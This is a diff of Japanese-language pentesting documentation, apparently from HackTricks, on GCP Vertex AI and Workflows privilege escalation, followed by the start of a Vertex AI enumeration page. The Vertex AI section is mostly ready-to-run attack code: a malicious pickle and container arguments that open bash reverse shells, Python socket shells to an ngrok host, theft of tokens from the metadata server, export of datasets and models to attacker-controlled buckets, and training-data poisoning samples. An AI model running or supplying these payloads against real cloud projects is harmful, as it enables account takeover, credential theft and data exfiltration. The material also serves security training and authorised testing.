+--display-name=token-exfil-job \
+--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
+--command=sh \
+--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
+--service-account=@.iam.gserviceaccount.com
+
+# Monitor the job logs to get the token
+gcloud ai custom-jobs stream-logs --region=
+```
+
+
+> [!CAUTION]
+> カスタムジョブは指定したサービスアカウントの権限で実行されます。ターゲットのサービスアカウントに対して `iam.serviceAccounts.actAs` 権限があることを確認してください。
+
+### `aiplatform.models.upload`, `aiplatform.models.get`
+
+この手法は、モデルを Vertex AI にアップロードし、そのモデルをエンドポイントのデプロイまたはバッチ予測ジョブを介して利用して、昇格した権限でコードを実行することで権限昇格を達成します。
+
+> [!NOTE]
+> この攻撃を実行するには、モデルアーティファクトをアップロードするための誰でも読み取り可能な GCS バケットが必要か、または新しく作成する必要があります。
+
+
+
+リバースシェルを含む悪意のある pickled モデルをアップロード
+```bash
+# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
+# Create malicious sklearn model that executes reverse shell when loaded
+cat > create_malicious_model.py <<'EOF'
+import pickle
+
+class MaliciousModel:
+def __reduce__(self):
+import subprocess
+cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
+return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
+
+# Save malicious model
+with open('model.pkl', 'wb') as f:
+pickle.dump(MaliciousModel(), f)
+EOF
+
+python3 create_malicious_model.py
+
+# Upload to GCS
+gsutil cp model.pkl gs://your-bucket/malicious-model/
+
+# Upload model (reverse shell executes when endpoint loads it during deployment)
+gcloud ai models upload \
+--region= \
+--artifact-uri=gs://your-bucket/malicious-model/ \
+--display-name=malicious-sklearn \
+--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
+
+# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
+```
+
+
+
+
+コンテナのリバースシェルでモデルをアップロード
+```bash
+# Method 2 using --container-args to run a persistent reverse shell
+
+# Generate a fake model we need in a storage bucket in order to fake-run it later
+python3 -c '
+import pickle
+pickle.dump({}, open('model.pkl', 'wb'))
+'
+
+# Upload to GCS
+gsutil cp model.pkl gs://any-bucket/dummy-path/
+
+# Upload model with reverse shell in container args
+gcloud ai models upload \
+--region= \
+--artifact-uri=gs://any-bucket/dummy-path/ \
+--display-name=revshell-model \
+--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
+--container-command=sh \
+--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
+--container-health-route=/ \
+--container-predict-route=/predict \
+--container-ports=8080
+
+
+# On attacker machine: nc -lvnp 4444
+# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+
+
+> [!DANGER]
+> 悪意のあるモデルをアップロードした後、攻撃者は誰かがそのモデルを使用するのを待つか、エンドポイントへのデプロイやバッチ予測ジョブを介して自身でモデルを起動することができます。
+
+#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
+
+エンドポイントにモデルを作成・デプロイする権限、またはエンドポイントのIAMポリシーを変更する権限がある場合、プロジェクトにアップロードされた悪意のあるモデルを利用して権限昇格を達成できます。エンドポイント経由で既にアップロードされた悪意のあるモデルのいずれかをトリガーするために必要なのは、次の操作だけです：
+
+
+
+悪意のあるモデルをエンドポイントにデプロイ
+```bash
+# Create an endpoint
+gcloud ai endpoints create \
+--region= \
+--display-name=revshell-endpoint
+
+# Deploy with privileged service account
+gcloud ai endpoints deploy-model \
+--region= \
+--model= \
+--display-name=revshell-deployment \
+--service-account=@.iam.gserviceaccount.com \
+--machine-type=n1-standard-2 \
+--min-replica-count=1
+```
+
+
+
+#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
+
+もしサービスアカウントを使って**バッチ予測ジョブ**を作成して実行する権限がある場合、メタデータサービスにアクセスできます。悪意のあるコードはバッチ予測処理中に**カスタム予測コンテナ**または**悪意あるモデル**から実行されます。
+
+**Note**: バッチ予測ジョブは REST API または Python SDK 経由でのみ作成可能です（gcloud CLI はサポートされていません）。
+
+> [!NOTE]
+> この攻撃を行うには、まず悪意のあるモデルをアップロードする（上記の `aiplatform.models.upload` セクション参照）か、reverse shell コードを含むカスタム予測コンテナを使用する必要があります。
+
+
+
+悪意あるモデルでバッチ予測ジョブを作成する
+```bash
+# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
+gcloud ai models upload \
+--region= \
+--artifact-uri=gs://your-bucket/dummy-model/ \
+--display-name=batch-revshell-model \
+--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
+--container-command=sh \
+--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
+--container-health-route=/ \
+--container-predict-route=/predict \
+--container-ports=8080
+
+# Step 2: Create dummy input file for batch prediction
+echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
+
+# Step 3: Create batch prediction job using that malicious model
+PROJECT="your-project"
+REGION="us-central1"
+MODEL_ID=""
+TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
+-d '{
+"displayName": "batch-exfil-job",
+"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
+"inputConfig": {
+"instancesFormat": "jsonl",
+"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
+},
+"outputConfig": {
+"predictionsFormat": "jsonl",
+"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
+},
+"dedicatedResources": {
+"machineSpec": {
+"machineType": "n1-standard-2"
+},
+"startingReplicaCount": 1,
+"maxReplicaCount": 1
+},
+"serviceAccount": "'${TARGET_SA}'"
+}'
+
+# On attacker machine: nc -lvnp 4444
+# The reverse shell executes when the batch job starts processing predictions
+# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+
+
+### `aiplatform.models.export`
+
+もし **models.export** 権限を持っている場合、管理している GCS バケットへモデルアーティファクトをエクスポートでき、トレーニングデータやモデルファイルなどの機密情報にアクセスできる可能性があります。
+
+> [!NOTE]
+> この攻撃を実行するには、全員が読み取りおよび書き込み可能な GCS バケットが必要か、モデルアーティファクトをアップロードするために新しいバケットを作成する必要があります。
+
+
+
+モデルアーティファクトを GCS バケットにエクスポート
+```bash
+# Export model artifacts to your own GCS bucket
+PROJECT="your-project"
+REGION="us-central1"
+MODEL_ID="target-model-id"
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
+-d '{
+"outputConfig": {
+"exportFormatId": "custom-trained",
+"artifactDestination": {
+"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
+}
+}
+}'
+
+# Wait for the export operation to complete, then download
+gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
+```
+
+
+### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
+
+任意のコンテナで複数のステップを実行する**ML pipeline jobs**を作成し、reverse shellアクセスを介して権限昇格を達成します。
+
+パイプラインは、各コンポーネントが異なるコンテナや設定を使用できるマルチステージ攻撃をサポートするため、権限昇格に特に有効です。
+
+> [!NOTE]
+> パイプラインのルートとして使用するには、全員が書き込み可能なGCSバケットが必要です。
+
+
+
+Vertex AI SDKをインストール
+```bash
+# Install the Vertex AI SDK first
+pip install google-cloud-aiplatform
+```
+
+
+
+
+リバースシェルコンテナでパイプラインジョブを作成
+```python
+#!/usr/bin/env python3
+import json
+import subprocess
+
+PROJECT_ID = ""
+REGION = "us-central1"
+TARGET_SA = ""
+
+# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
+pipeline_spec = {
+"schemaVersion": "2.1.0",
+"sdkVersion": "kfp-2.0.0",
+"pipelineInfo": {
+"name": "data-processing-pipeline"
+},
+"root": {
+"dag": {
+"tasks": {
+"process-task": {
+"taskInfo": {
+"name": "process-task"
+},
+"componentRef": {
+"name": "comp-process"
+}
+}
+}
+}
+},
+"components": {
+"comp-process": {
+"executorLabel": "exec-process"
+}
+},
+"deploymentSpec": {
+"executors": {
+"exec-process": {
+"container": {
+"image": "python:3.11-slim",
+"command": ["python3"],
+"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
+}
+}
+}
+}
+}
+
+# Create the request body
+request_body = {
+"displayName": "ml-training-pipeline",
+"runtimeConfig": {
+"gcsOutputDirectory": "gs://gstorage-name/folder"
+},
+"pipelineSpec": pipeline_spec,
+"serviceAccount": TARGET_SA
+}
+
+# Get access token
+token_result = subprocess.run(
+["gcloud", "auth", "print-access-token"],
+capture_output=True,
+text=True,
+check=True
+)
+access_token = token_result.stdout.strip()
+
+# Submit via REST API
+import requests
+
+url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
+headers = {
+"Authorization": f"Bearer {access_token}",
+"Content-Type": "application/json"
+}
+
+print(f"Submitting pipeline job to {url}")
+response = requests.post(url, headers=headers, json=request_body)
+
+if response.status_code in [200, 201]:
+result = response.json()
+print(f"✓ Pipeline job submitted successfully!")
+print(f" Job name: {result.get('name', 'N/A')}")
+print(f" Check your reverse shell listener for connection")
+else:
+print(f"✗ Error: {response.status_code}")
+print(f" {response.text}")
+```
+
+
+
+### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
+
+カスタムトレーニングコンテナを介して昇格した権限で任意のコードを実行する **hyperparameter tuning jobs** を作成します。
+
+Hyperparameter tuning jobs は、異なるハイパーパラメータ値で複数のトレーニング試行を並列に実行することを可能にします。悪意のあるコンテナに reverse shell や exfiltration コマンドを仕込み、それを特権を持つサービスアカウントに紐付けることで、権限昇格を達成できます。
+
+**Impact**: 対象のサービスアカウントの権限への完全な権限昇格。
+
+
+
+reverse shell を使った hyperparameter tuning job の作成
+```bash
+# Method 1: Python reverse shell (most reliable)
+# Create HP tuning job config with reverse shell
+cat > hptune-config.yaml <<'EOF'
+studySpec:
+metrics:
+- metricId: accuracy
+goal: MAXIMIZE
+parameters:
+- parameterId: learning_rate
+doubleValueSpec:
+minValue: 0.001
+maxValue: 0.1
+algorithm: ALGORITHM_UNSPECIFIED
+trialJobSpec:
+workerPoolSpecs:
+- machineSpec:
+machineType: n1-standard-4
+replicaCount: 1
+containerSpec:
+imageUri: python:3.11-slim
+command: ["python3"]
+args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
+serviceAccount: @.iam.gserviceaccount.com
+EOF
+
+# Create the HP tuning job
+gcloud ai hp-tuning-jobs create \
+--region= \
+--display-name=hyperparameter-optimization \
+--config=hptune-config.yaml
+
+# On attacker machine, set up ngrok listener or use: nc -lvnp
+# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+
+
+
+### `aiplatform.datasets.export`
+
+機密情報を含む可能性のあるトレーニングデータをexfiltrateするために、**データセット**をエクスポートします。
+
+**注意**: データセット操作はREST APIまたはPython SDKが必要です（データセットはgcloud CLIでサポートされていません）。
+
+データセットには、PII、機密業務データ、または本番モデルの学習に使用されたその他の機微な情報を含む元のトレーニングデータが含まれていることがよくあります。
+
+
+
+トレーニングデータをexfiltrateするためにデータセットをエクスポート
+```bash
+# Step 1: List available datasets to find a target dataset ID
+PROJECT="your-project"
+REGION="us-central1"
+
+curl -s -X GET \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
+
+# Step 2: Export a dataset to your own bucket using REST API
+DATASET_ID=""
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
+-d '{
+"exportConfig": {
+"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
+}
+}'
+
+# The export operation runs asynchronously and will return an operation ID
+# Wait a few seconds for the export to complete
+
+# Step 3: Download the exported data
+gsutil ls -r gs://your-controlled-bucket/exported-data/
+
+# Download all exported files
+gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
+
+# Step 4: View the exported data
+# The data will be in JSONL format with references to training data locations
+cat exported-data/*/data-*.jsonl
+
+# The exported data may contain:
+# - References to training images/files in GCS buckets
+# - Dataset annotations and labels
+# - PII (Personally Identifiable Information)
+# - Sensitive business data
+# - Internal documents or communications
+# - Credentials or API keys in text data
+```
+
+
+
+### `aiplatform.datasets.import`
+
+既存のデータセットに悪意あるまたは汚染されたデータをインポートして、**モデルのトレーニングを操作しバックドアを導入する**。
+
+**注意**: データセット操作にはREST APIまたはPython SDKが必要です（データセットはgcloud CLIでサポートされていません）。
+
+トレーニングに使用されるデータセットに細工されたデータをインポートすることで、攻撃者は以下を行えます：
+- モデルにバックドアを導入する（トリガーによる誤分類）
+- トレーニングデータを汚染してモデル性能を低下させる
+- モデルが情報を leak する原因となるデータを注入する
+- 特定の入力に対するモデルの挙動を操作する
+
+この攻撃は以下の用途で使われるデータセットを狙うと特に効果的です：
+- 画像分類（誤ラベルの画像を注入）
+- テキスト分類（偏ったまたは悪意あるテキストを注入）
+- 物体検出（バウンディングボックスを操作）
+- 推薦システム（偽の嗜好を注入）
+
+
+
+データセットに汚染されたデータをインポートする
+```bash
+# Step 1: List available datasets to find target
+PROJECT="your-project"
+REGION="us-central1"
+
+curl -s -X GET \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
+
+# Step 2: Prepare malicious data in the correct format
+# For image classification, create a JSONL file with poisoned labels
+cat > poisoned_data.jsonl <<'EOF'
+{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
+{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
+{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
+EOF
+
+# For text classification
+cat > poisoned_text.jsonl <<'EOF'
+{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
+{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
+EOF
+
+# Upload poisoned data to GCS
+gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
+
+# Step 3: Import the poisoned data into the target dataset
+DATASET_ID=""
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
+-d '{
+"importConfigs": [
+{
+"gcsSource": {
+"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
+},
+"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
+}
+]
+}'
+
+# The import operation runs asynchronously and will return an operation ID
+
+# Step 4: Verify the poisoned data was imported
+# Wait for import to complete, then check dataset stats
+curl -s -X GET \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
+
+# The dataItemCount should increase after successful import
+```
+
+
+**攻撃シナリオ:**
+
+
+
+Backdoor attack - Image classification
+```bash
+# Scenario 1: Backdoor Attack - Image Classification
+# Create images with a specific trigger pattern that causes misclassification
+# Upload backdoor trigger images labeled as the target class
+echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
+gsutil cp backdoor.jsonl gs://your-bucket/attacks/
+# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
+```
+
+
+
+
+Label flipping attack
+```bash
+# Scenario 2: Label Flipping Attack
+# Systematically mislabel a subset of data to degrade model accuracy
+# Particularly effective for security-critical classifications
+for i in {1..50}; do
+echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
+done > label_flip.jsonl
+# This causes legitimate samples to be labeled as malicious
+```
+
+
+
+
+Data poisoning for model extraction
+```bash
+# Scenario 3: Data Poisoning for Model Extraction
+# Inject carefully crafted queries to extract model behavior
+# Useful for model stealing attacks
+cat > extraction_queries.jsonl <<'EOF'
+{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
+{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
+EOF
+```
+
+
+
+
+特定のエンティティを対象にした標的型攻撃
+```bash
+# Scenario 4: Targeted Attack on Specific Entities
+# Poison data to misclassify specific individuals or objects
+cat > targeted_poison.jsonl <<'EOF'
+{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
+{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
+{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
+EOF
+```
+
+
+> [!DANGER]
+> Data poisoning attacks は深刻な結果を招く可能性があります:
+> - **Security systems**: 顔認識や異常検知を回避する
+> - **Fraud detection**: 特定の不正パターンを無視するようにモデルをトレーニングする
+> - **Content moderation**: 有害なコンテンツが安全と分類されるようにする
+> - **Medical AI**: 重大な健康状態を誤分類させる
+> - **Autonomous systems**: 安全に関わる判断のための物体検出を操作する
+>
+> **影響**:
+> - 特定のトリガーで誤分類するバックドア入りモデル
+> - モデルの性能と精度の低下
+> - 特定の入力に対して差別的なバイアスを持つモデル
+> - モデルの挙動を通じた情報 leak
+> - 長期的な持続性（汚染されたデータで訓練されたモデルはバックドアを継承する）
+
+
+### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
+
+> [!WARNING]
+> > [!NOTE]
+> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API は Vertex AI Workbench Managed Notebooks の廃止に伴い非推奨です。現代的な方法は、ノートブックを `aiplatform.customJobs.create` 経由で実行する **Vertex AI Workbench Executor** を使用することです（上で既に文書化されています）。
+> Vertex AI Workbench Executor は、指定したサービスアカウントで Vertex AI のカスタムトレーニングインフラ上で実行されるノートブック実行のスケジューリングを可能にします。これは本質的に `customJobs.create` の便宜的なラッパーです。
+> **ノートブック経由の権限昇格の場合**: 上で文書化した `aiplatform.customJobs.create` メソッドを使用してください。これはより高速で信頼性が高く、Workbench Executor と同じ基盤インフラを使用します。
+
+**以下の手法は歴史的文脈のために提供されており、新しい評価での使用は推奨されません。**
+
+任意のコードを実行する Jupyter ノートブックを実行するノートブック実行ジョブを作成します。
+
+ノートブックジョブは、Python のコードセルやシェルコマンドをサポートするため、サービスアカウントでのインタラクティブなコード実行に最適です。
+
+
+
+悪意のあるノートブックファイルを作成する
+```bash
+# Create a malicious notebook
+cat > malicious.ipynb <<'EOF'
+{
+"cells": [
+{
+"cell_type": "code",
+"source": [
+"import subprocess\n",
+"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
+"print(token.decode())"
+]
+}
+],
+"metadata": {},
+"nbformat": 4
+}
+EOF
+
+# Upload to GCS
+gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
+```
+
+
+
+
+ターゲットのサービスアカウントでノートブックを実行する
+```bash
+# Create notebook execution job using REST API
+PROJECT="gcp-labs-3uis1xlx"
+REGION="us-central1"
+TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
+
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
+-d '{
+"displayName": "data-analysis-job",
+"gcsNotebookSource": {
+"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
+},
+"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
+"serviceAccount": "'${TARGET_SA}'",
+"executionTimeout": "3600s"
+}'
+
+# Monitor job for token in output
+# Notebooks execute with the specified service account's permissions
+```
+
+
+
+## 参考資料
+
+- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
+- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
index a6a2af3a6..1b1debf3c 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
@@ -12,11 +12,13 @@
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
-私の知る限り、Workflowに攻撃されたSAの資格情報を含むメタデータエンドポイントへのアクセスでシェルを取得することは不可能です。しかし、Workflow内で実行するアクションを追加することで、SAの権限を悪用することは可能です。
+私の知る限り、Workflow にアタッチされた SA の認証情報を含む metadata endpoint にアクセスできるシェルを取得することはできません。しかし、Workflow の内部で実行するアクションを追加することで、その SA の権限を悪用することは可能です。
-コネクタのドキュメントを見つけることができます。例えば、これは[**Secretmanagerコネクタのページ**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**です。** サイドバーには他のいくつかのコネクタが見つかります。
+コネクタのドキュメントは見つけることができます。例えば、これは[**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**。** サイドバーでは他のいくつかのコネクタを見つけることができます。
-ここに秘密を印刷するコネクタの例があります:
+以下はシークレットを出力するコネクタの例です:
+
+シークレットにアクセスするための Workflow YAML 構成
```yaml
main:
params: [input]
@@ -31,16 +33,20 @@ result: str_secret
- returnOutput:
return: "${str_secret}"
```
+
+
CLIからの更新:
+
+CLIからWorkflowsをデプロイおよび実行
```bash
gcloud workflows deploy \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
```
-`ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`というエラーが表示された場合は、**1分待って再試行してください**。
+`ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` のようなエラーが発生した場合は、単に**少し待ってからもう一度試してください**。
-ウェブアクセスがない場合でも、次の方法でWorkflowの実行をトリガーして確認することができます:
+ウェブアクセスがない場合は、Workflow の実行をトリガーして実行を確認することができます:
```bash
# Run execution with output
gcloud workflows run --location us-central1
@@ -54,19 +60,23 @@ gcloud workflows executions list
# Get execution info and output
gcloud workflows executions describe projects//locations//workflows//executions/
```
-> [!CAUTION]
-> 前の実行の出力を確認して、機密情報を探すこともできます。
-
-`PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` のようなエラーが発生しても、その権限がないため、ワークフローは生成されています。
-
-### OIDCトークンの漏洩（およびOAuth？）
-
-[**ドキュメントによると**](https://cloud.google.com/workflows/docs/authenticate-from-workflow)、ワークフローステップを使用して、OAuthまたはOIDCトークンを含むHTTPリクエストを送信することが可能です。しかし、[Cloud Scheduler](gcp-cloudscheduler-privesc.md)の場合と同様に、OAuthトークンを含むHTTPリクエストはホスト`.googleapis.com`に送信する必要があります。
+
> [!CAUTION]
-> したがって、**ユーザーが制御するHTTPエンドポイントを指定することでOIDCトークンが漏洩する可能性があります**が、**OAuth**トークンを漏洩させるには、その保護を**バイパスする必要があります**。ただし、OAuthトークンを使用して、**コネクタまたはHTTPリクエストを介してSAの代理で任意のGCP APIに連絡することは依然として可能です**。
+> 以前の実行の出力を確認して機密情報を探すこともできます。
+
+Note that even if you get an error like `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` because you don't have that permission, the workflow has been generated.
+
+### Leak OIDC token (and OAuth?)
+
+According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) によると、workflow のステップで OAuth または OIDC トークンを含む HTTP リクエストを送信することが可能です。ただし、[Cloud Scheduler](gcp-cloudscheduler-privesc.md) の場合と同様に、OAuth トークンを含む HTTP リクエストはホスト `.googleapis.com` 宛である必要があります。
+
+> [!CAUTION]
+> したがって、ユーザーが制御する HTTP エンドポイントを指定することで **possible to leak the OIDC token by indicating a HTTP endpoint** が可能ですが、**OAuth** トークンを leak するにはその保護を回避する **need a bypass** が必要です。とはいえ、connectors または OAuth トークン付きの HTTP リクエストを使用して、**contact any GCP api to perform actions on behalf the SA** ことは可能です。
#### Oauth
+
+Workflow HTTP request with OAuth token
```yaml
- step_A:
call: http.post
@@ -76,7 +86,9 @@ auth:
type: OAuth2
scopes: OAUTH_SCOPE
```
-#### OIDC
+#### OIDC
+
+Workflow の HTTP リクエスト（OIDC トークン付き）
```yaml
- step_A:
call: http.get
@@ -90,8 +102,8 @@ auth:
type: OIDC
audience: OIDC_AUDIENCE
```
-### `workflows.workflows.update` ...
+### `workflows.workflows.update` ...
-この権限を使用すると、`workflows.workflows.create`の代わりに、既存のワークフローを更新し、同じ攻撃を実行することができます。
+この権限があると、`workflows.workflows.create` の代わりに既存の workflow を更新して、同様の攻撃を行うことが可能になります。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md
new file mode 100644
index 000000000..e852a00ea
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md
@@ -0,0 +1,257 @@
+# GCP - Vertex AI 列挙
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Vertex AI
+
+[Vertex AI](https://cloud.google.com/vertex-ai) は Google Cloud の **統合された機械学習プラットフォーム**で、AIモデルの構築、デプロイ、管理を大規模に行うためのサービスです。データサイエンティストやMLエンジニアが以下を行えるようにします：
+
+- **カスタムモデルの学習**（AutoML またはカスタムトレーニングを使用）
+- **モデルのデプロイ**して予測のためのスケーラブルなエンドポイントを提供
+- **実験から本番までのMLライフサイクルの管理**
+- **Model Garden からの事前学習済みモデルへのアクセス**
+- **モデルの監視と最適化**
+
+### 主要コンポーネント
+
+#### モデル
+
+Vertex AI の **モデル** は、予測提供のためにエンドポイントへデプロイできる学習済み機械学習モデルを表します。モデルは以下の方法で扱えます：
+
+- カスタムコンテナやモデルアーティファクトから **アップロード**
+- **AutoML** による作成
+- **Model Garden**（事前学習済みモデル）からのインポート
+- モデルごとに複数の **バージョン管理**
+
+各モデルには、フレームワーク、コンテナイメージURI、アーティファクトの場所、サービング構成などのメタデータがあります。
+
+#### エンドポイント
+
+**Endpoints** はデプロイされたモデルをホスティングし、オンライン予測を提供するリソースです。主な機能：
+
+- **複数のデプロイ済みモデル**をホスト可能（トラフィックスプリッティング対応）
+- リアルタイム予測のための **HTTPS エンドポイント** を提供
+- トラフィックに応じた **オートスケーリング** をサポート
+- **プライベート**または**パブリック**アクセスの利用可
+- トラフィックスプリッティングによる **A/B テスト** をサポート
+
+#### Custom Jobs
+
+**Custom jobs** は独自のコンテナやPythonパッケージを使ってカスタムトレーニングコードを実行するための機能です。主な特徴：
+
+- **複数のワーカープールによる分散トレーニング**をサポート
+- 設定可能な **machine types** や **accelerators**（GPU/TPU）
+- 他のGCPリソースにアクセスするための **service account** 添付
+- 可視化のための **Vertex AI Tensorboard** との統合
+- **VPC 接続** オプション
+
+#### Hyperparameter Tuning Jobs
+
+これらのジョブは、異なるパラメータ組み合わせで複数のトレーニング試行を実行して、最適なハイパーパラメータを自動で探索します。
+
+#### Model Garden
+
+**Model Garden** は以下へのアクセスを提供します：
+
+- Google の事前学習済みモデル
+- オープンソースモデル（Hugging Face を含む）
+- サードパーティ製モデル
+- ワンクリックデプロイ機能
+
+#### Tensorboards
+
+**Tensorboards** はML実験の可視化と監視を提供し、メトリクス、モデルグラフ、トレーニング進捗を追跡します。
+
+### サービスアカウントと権限
+
